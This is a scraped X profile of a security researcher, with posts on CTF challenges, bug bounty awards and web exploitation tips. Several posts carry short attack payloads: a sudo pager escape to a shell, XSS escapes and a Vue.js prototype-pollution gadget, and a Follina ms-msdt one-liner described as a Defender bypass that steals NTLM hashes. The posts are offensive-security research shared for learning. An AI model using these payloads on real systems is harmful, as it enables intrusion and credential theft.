Maciej Piechota (@haqpl) / X

Maciej Piechota

1,001 posts

Maciej Piechota

@haqpl

I’m a security enthusiast and technology polyglot, pug lover and drum’n’bass head. Vice Cpt @justCatTheFish, Daily Pwning @ElectrovoltSec @cure53berlin

Łódź, Polska

haqpl.github.io

Joined September 2009

Pinned
Maciej Piechota
@haqpl
Sep 10, 2023
A while ago I created a challenge for #justCTF23 where players needed to blindly exfiltrate data from MongoDB. Here is my payload which triggers DNS resolution. As far as I know, this is a new technique when having SSRF to Mongo without the ability to read the response 😋🔥 #CTF
27K
Maciej Piechota
@haqpl
Oct 13, 2023
Somebody tell me this is not a dream 😅 Yay, I was awarded a $200,000 🔥 bounty on @Hacker0x01! hackerone.com/haqpl #TogetherWeHitHarder
hackerone.com
HackerOne profile - haqpl
- https://haqpl.github.io
287K
Maciej Piechota
@haqpl
Aug 26, 2022
Here is my writeup for @terjanq's web challenge from Google CTF 2022 - Postviewer, we solved it with @dr_brix 😋 and won 500$ for 1st place in the web category in Google's writeup competition 🤑
justCatTheFish - Google CTF 2022 - Postviewer writeup.
From haqpl.github.io
Maciej Piechota
@haqpl
Nov 1, 2023
Yay, I was awarded a $1,250 bounty on @Hacker0x01! hackerone.com/haqpl #TogetherWeHitHarder
hackerone.com
HackerOne profile - haqpl
- https://haqpl.github.io
8.7K
Maciej Piechota
@haqpl
Apr 14, 2021
I've found a cool way to cross-site exfiltrate matched Scroll-to-Text-Fragments from an attacked web page using CSS. Blog post incoming on @SECFORCE_LTD where I will discuss what can be achieved with it, stay tuned :) #bugbountytips
GIF
Maciej Piechota
@haqpl
Aug 17, 2021
Just found another #GTFObins binary ;) sudo systemd-resolve --status !id It behaves similar to systemctl - invokes default system pager, most likely less.
Maciej Piechota
@haqpl
Dec 30, 2023
Replying to @intigriti
200k 😅
3.4K
Maciej Piechota
@haqpl
Mar 5, 2023
Happy birthday to me 😁🎂🎉
4.8K
Maciej Piechota
@haqpl
Jan 30, 2023
CVE-2022-23515 😋
publiclyDisclosed
@disclosedh1
Jan 29, 2023
Internet Bug Bounty disclosed a bug submitted by @haqpl: hackerone.com/reports/1805873 - Bounty: $2,400 #hackerone #bugbounty
4.5K
Maciej Piechota
@haqpl
Dec 23, 2023
Replying to @rafal_zaorski @andrzejdragan and @K_Stanowski
Ja nominuje @haqpl żeby @justCatTheFish miał dostęp i moglibyśmy zagrać tam CTFa, Polski team hakerów/nerdów jak z obrazka pod wpisem @rafal_zaorski xD byłoby epicko
2.7K
Maciej Piechota
@haqpl
Oct 20, 2018
How many #XSS flaws out there you might be missing by not checking this kind of escape? -alert(1)//\ brutelogic.com.br/blog/quoteless… by @rodoassis @brutelogic
Maciej Piechota
@haqpl
Apr 25, 2021
Replying to @intigriti and @terjanq
@terjanq @intigriti give me back almost a week of my life! xD epic challenge, thank you guys :)
Maciej Piechota
@haqpl
Mar 8, 2021
Vue.JS XSS gadget to use after prototype pollution I found during zer0pts: vuln[.]com?constructor[prototype][v-if]=_c.constructor`alert(1)`() #bugbountytips #ctf
Maciej Piechota
@haqpl
Jun 1, 2022
Replying to @nas_bench
it even does not need those, check
SECFORCE
@SECFORCE_LTD
Jun 1, 2022
Heard about #Follina 0-day RCE? Here is a one-shot Defender bypass and NTLM hash steal using it💥😋 window.location.href = "ms-msdt:/af \\\\VBOXSRV\\ctf\\rce.xml /id PCWDiagnostic /skip force "; Found by @haqpl
GIF